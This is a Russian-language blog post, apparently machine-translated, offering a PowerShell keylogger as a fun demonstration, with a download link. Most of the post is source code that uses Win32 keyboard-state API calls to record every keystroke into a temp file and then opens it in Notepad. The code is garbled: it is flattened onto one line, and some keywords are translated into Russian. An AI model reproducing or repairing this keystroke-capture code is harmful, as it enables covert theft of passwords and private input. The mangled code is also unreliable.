Создание простого кейлоггера с помощью PowerShell [Загрузить]

Все мы знаем, что PowerShell — это мощный инструмент для создания сценариев в Windows, но этот небольшой пример создания простой программы кейлоггера исключительно из PowerShell определенно выводит возможности на новый уровень. Благодарим PowerShell.com за то, что это произошло.

См. Приведенный ниже код для справки, но вы также можете перейти к нижней части, чтобы загрузить исходный код и запустить его, чтобы увидеть, как он работает. . В основном, задействуя функции низкоуровневого API Windows, этот скрипт постоянно отслеживает нажатия клавиш на клавиатуре и записывает их во временный файл во временной папке, а после этого отображает содержимое в Блокноте.

  #requires -Version 2function Start-KeyLogger ($ Path = "$ env: temp  keylogger.txt") {# Подписи для вызовов API $ signatures = @ '[DllImport ("user32.dll", CharSet = CharSet.Auto, ExactSpelling  = true)] общедоступный статический внешний короткий GetAsyncKeyState (int virtualKeyCode);  [DllImport ("user32.dll", CharSet = CharSet.Auto)] public static extern int GetKeyboardState (byte [] keystate); [DllImport ("user32.dll", CharSet = CharSet.Auto)] public static extern int MapVirtualKey (  uint uCode, int uMapType); [DllImport ("user32.dll", CharSet = CharSet.Auto)] public static extern int ToUnicode (uint wVirtKey, uint wScanCode, byte [] lpkeystate, System.Text.StringBuilder pwszBuff, int c  uint wFlags); '@ # загрузить подписи и сделать доступными члены $ API = Add-Type -MemberDefinition $ signatures -Name' Win32 '-Namespace API -PassThru # создать выходной файл $ null = New-Item -Path $ Path -ItemType File  - Принудительно попробуйте нажатия клавиш записи {Write-Host '.  Нажмите CTRL + C, чтобы увидеть результаты. '  -ForegroundColor Red # создать бесконечный цикл.  Когда пользователь нажимает CTRL + C, выполняется finally-block # и отображаются собранные нажатия клавиш while ($ true) {Start-Sleep -Milliseconds 40 # сканировать все коды ASCII выше 8 для ($ ascii = 9; $ ascii -le 254;  $ ascii ++) {# получить текущее состояние клавиши $ state = $ API :: GetAsyncKeyState ($ ascii) # нажата клавиша?  if ($ state -eq -32767) {$ null = [console] :: CapsLock # преобразовать код сканирования в реальный код $ virtualKey = $ API :: MapVirtualKey ($ ascii, 3) # получить состояние клавиатуры для виртуальных клавиш $ kbstate =  New-Object Byte [] 256 $ checkkbstate = $ API :: GetKeyboardState ($ kbstate) # подготовить StringBuilder для получения входного ключа $ mychar = New-Object -TypeName System.Text.StringBuilder # перевести виртуальный ключ $ success = $ API:  : ToUnicode ($ ascii, $ virtualKey, $ kbstate, $ mychar, $ mychar.Capacity, 0) if ($ success) {# добавить ключ в файл журнала [System.IO.File] :: AppendAllText ($ Path, $ mychar  , [System.Text.Encoding] :: Unicode)}}}}} finally {# открыть файл журнала в блокноте Notepad $ Path}} # записывать все нажатия клавиш до тех пор, пока сценарий не будет прерван нажатием CTRL + C #, затем откроется файл с  собранные коды клавишStart-KeyLogger 

Это довольно увлекательное наблюдение что может PowerShell. Просто загрузите файл снизу и Запустите его с помощью PowerShell из контекстного меню.

Простой кейлоггер в PowerShell

1 файл (ы) 2,41 КБ
Загрузить
Оцените статью
toodcast.ru
Добавить комментарий